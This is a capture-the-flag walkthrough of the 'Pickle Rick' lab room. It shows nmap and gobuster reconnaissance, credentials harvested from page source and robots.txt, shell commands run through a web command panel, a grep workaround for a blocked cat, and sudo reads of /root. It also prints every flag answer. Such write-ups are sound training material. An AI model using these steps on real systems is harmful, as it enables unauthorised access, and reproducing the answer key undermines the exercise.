Pickle Rick

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Task 1: Pickle Rick

What is the first ingredient that Rick needs?

• Lets perform a simple nmap scan to see which ports are open.

$ nmap -sC -sV 10.10.88.164
Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-11 14:52 IST
Nmap scan report for 10.10.88.164
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b0:56:f1:d5:f7:ee:f0:9f:0f:9f:07:88:c6:56:7a:29 (RSA)
|   256 ef:9b:c2:3f:b3:84:8d:22:5e:d2:b4:09:59:ba:be:15 (ECDSA)
|_  256 0d:2a:4f:24:a0:9f:3d:20:80:31:b8:51:42:29:a7:0f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Rick is sup4r cool
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.91 seconds

• There are two open ports:

Port	Service
22	ssh
80	http

• Let's enter the IP address in the browser and see what comes up.

• Let's check the page source for more information.

• So we have a username now: R1ckRul3s. However we don't know the password yet.

• On most websites, the robots.txt file does the job of disallowing web crawlers from accessing particular pages. Let's see if we can find anything there.

• Looks like Wubbalubbadubdub is the password.

• But where should we enter these credentials?

• In order to find the login page we will have to perform some directory brute-forcing. There are various tools available, but in this case let's use gobuster.

$ gobuster dir -u http://10.10.88.164 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.88.164
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 291]
/login.php            (Status: 200) [Size: 882]
/assets               (Status: 301) [Size: 313] [--> http://10.10.88.164/assets/]
/portal.php           (Status: 302) [Size: 0] [--> /login.php]
-- snip --;

• We can see a /login.php file. Let's go to the file in the browser.

• Let's enter the credentials that we found before i.e. R1ckRul3s as username and Wubbalubbadubdub as the password.

• We're in and we have a Command Panel to enter our commands.

• We can use the ls command to list the files and sub-directories.

• The Sup3rS3cretPickl3Ingred.txt file seems interesting. Let's cat the contents of that file.

• Oh! So cat is disabled. We have to find another way to read the file.

• We can grep all the contents of the file by using the . regular expression.

grep . Sup3rS3cretPickl3Ingred.txt

Answer

mr. meeseek hair

What is the second ingredient in Rick’s potion?

• We can check which user are present by using the following command:

cd /home ; ls

• Let's check what files rick has using the following command:

cd /home/rick ; ls

• Let's see what is in to the second ingredients.

grep . /home/rick/"second ingredients"

Answer

1 jerry tear

What is the last and final ingredient?

• Let's look at the /root directory using the following command:

sudo ls /root

• As always, we can use grep to read the contents of a file.

sudo grep . /root/3rd.txt

Answer

fleeb juice